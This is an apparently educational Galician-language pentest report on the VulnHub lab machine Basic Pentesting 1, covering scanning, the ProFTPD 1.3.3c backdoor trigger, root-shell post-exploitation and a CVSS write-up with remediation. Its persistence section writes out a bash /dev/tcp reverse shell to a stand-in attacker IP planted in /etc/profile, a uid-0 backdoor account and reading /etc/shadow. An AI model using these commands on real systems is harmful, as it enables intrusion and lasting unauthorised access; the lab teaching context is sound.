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Escenario
Name: Basic Pentesting: 1
Date release: 8 Dec 2017
Author: Josiah Pierce
Series: Basic Pentesting

• 
• 
• 
• 
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https://www.vulnhub.com/author/josiah-pierce,569/
https://www.vulnhub.com/series/basic-pentesting,143/


Obxectivos
Auditar a máquina VulnHub Basic Pentesting 1
Enumerar posibles vectores de explotación
Determinar alcance e impacto dun ataque sobr o sistema en produción.

• 
• 
• 
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Fluxo de traballo
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Fases dun test de intrusión (Pentest)
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Fase 1: Recopilación de información
A. Detección da IP da máquina obxectivo: Empregamos os comandos netdiscover , arp-
scan  ou nmap

$ sudo netdiscover -r 192.168.56.0/24
$ sudo arp-scan --interface=eth0 192.168.56.0/24
$ sudo nmap -sn -PR 192.168.56.0/24

B. Comprobación de conectividade e detección do sistema operativo.

ping -c1 192.168.56.34 -R

TTL ≃ 64 ⇒ GNU/Linux
TTL ≃ 128 ⇒ Microsoft Windows
Como podemos observar na saída do comando ping  estamos ante unha máquina
obxectivo GNU/Linux.

C. Escaneo/detección de portos con Nmap:

nmap -sC -sV -oA basicpentest-scan 192.168.56.34

• 
• 
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Fase 2: Análise de vulnerabilidades

Enumeración servizo FTP (ProFTPD)

Empregando searchsploit  atopamos 2 exploits para explotar a vulnerabilidade: un
ficheiro coa explicación do exploit e un script de Metasploit

searchsploit proftpd 1.3.3c

• 
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https://www.metasploit.com/


Fase 3: Explotación
Conectámonos por FTP ao porto 21 da máquina vulnerable:

nc 192.168.56.34 21

Escribimos:

HELP ACIDBITCHEZ

Prememos Intro e obtemos unha shell de root:

id
uid=0(root) gid=0(root)

Security Maximale GmbH
Rúa Exemplo 47 | 4711 Exemplo

FN 12345 v | Xulgado de Distrito Exemplo

10 / 17



Fase 4: Post-Explotación
Dende a consola aberta de root a través de nc recopilamos información.

whoami
uname -a
cat /etc/passwd
cat /etc/shadow
ls -l /home
ls -lahtr /home/marlinspike
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Fase 5: Persistencia

Opción 1: Reverse shell

Dentro da consola de root conseguida con nc executar:

echo "bash -i >& /dev/tcp/IP_atacante/4444 0>&1" >> /etc/profile

E noutra consola no equipo do atacante executar:

nc -lvp 4444

Agora reiniciar a máquina comprometida e unha vez que calquera usuario faga login  a
reverse shell actívase.

Opción 2 - Engadir usuario permanente e ademais facelo root

useradd -m pentester -o -u 0 -g 0
echo 'pentester:abc123.' | chpasswd
id pentester
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Resumo de vulnerabilidades
No transcurso desta proba de penetración atopáronse as seguintes vulnerabilidades: 1
Críticas

Figure 1 - Distribución das vulnerabilidades identificadas

Resumo tabulado de todas as vulnerabilidades identificadas:

Vulnerabilidade Criticidade

ProFTPD 1.3.3c (backdoor / RCE) Critical

Lista de todas as vulnerabilidades incluíndo unha breve descrición:

1. ProFTPD 1.3.3c (backdoor / RCE) (Critical: 9.8) 

Afecta a: Servizo FTP - ProFTPD
Vulnerabilidade detectada: Execución remota de código en ProFTPD 1.3.3c mediante
un comando malicioso ( HELP ACIDBITCHEZ ) que devolve acceso a shell con privilexios
de root.
CVE: CVE-2010-20103
Gravidade: Crítica
CVSS: 9.8
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• 

• 
• 
• 
• 
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https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


Detalles de vulnerabilidades

1. ProFTPD 1.3.3c (backdoor / RCE)
Criticidade: Critical
Puntuación CVSS: 9.8
Afecta a: Servizo FTP - ProFTPD Recomendación: Sustituír/Actualizar

Resumo

Vulnerabilidade detectada: Execución remota de código en ProFTPD 1.3.3c mediante
un comando malicioso ( HELP ACIDBITCHEZ ) que devolve acceso a shell con privilexios
de root.
CVE: CVE-2010-20103
Gravidade: Crítica
CVSS: 9.8
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Descrición

CVSS v3.1 Vector para a vulnerabilidade

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Descomposición e significado

Métrica (CVSS) Valor Significado

AV (Attack Vector) N Network – Exploitable remotamente a través da rede.

AC (Attack
Complexity)

L
Low – Non require condicións especiais nin explotación
complexa.

PR (Privileges
Required)

N None – Non precisa autenticación.

UI (User
Interaction)

N None – Non require interacción dun usuario.

S (Scope) U
Unchanged – A explotación afecta ao compoñente vulnerable
sen cambiar o scope.

C (Confidentiality) H High – Pode acceder a información sensible do sistema.

I (Integrity) H High – Pode modificar calquera dato.

A (Availability) H High – Pode interromper ou eliminar servizos críticos.

Resultado final

Puntuación Base (estimada): 9.8
Gravidade: Crítico

• 

• 
• 
• 
• 

• 
• 

Security Maximale GmbH
Rúa Exemplo 47 | 4711 Exemplo

FN 12345 v | Xulgado de Distrito Exemplo

14 / 17

https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


Recomendación

Substituír inmediatamente a versión 1.3.3c de ProFTPD por unha compilación oficial e
verificada. Verificar a orixe e integridade das fontes de software mediante firmas dixitais ou
hashes antes da instalación.

A última versión dispoñible pode obterse desde o repositorio oficial de ProFTPD:
http://www.proftpd.org/

Información adicional

https://nvd.nist.gov/vuln/detail/CVE-2010-20103• 
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Aviso legal 
Este informe é confidencial e está destinado unicamente ao cliente especificado. A súa
divulgación, reprodución ou distribución a terceiros non autorizados está prohibida salvo
consentimento expreso.
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Anexos

A. URLs de Interese

Ligazóns

VulnHub Basic Pentesting 1

https://www.vulnhub.com/series/basic-pentesting,143/

Escaneo de rede

https://nmap.org
https://nmap.org/book/man.html

Reverse shell

https://nmap.org/ncat/
https://linux.die.net/man/1/nc
https://www.revshells.com/

Exploits e vulnerabilidades

https://www.exploit-db.com
https://www.cvedetails.com

Escalada de Privilixios

https://gtfobins.github.io

Kali Linux

https://www.kali.org
https://www.kali.org/docs/
https://tools.kali.org

repoEDU-CCbySA

https://github.com/ricardofc/repoEDU-CCbySA
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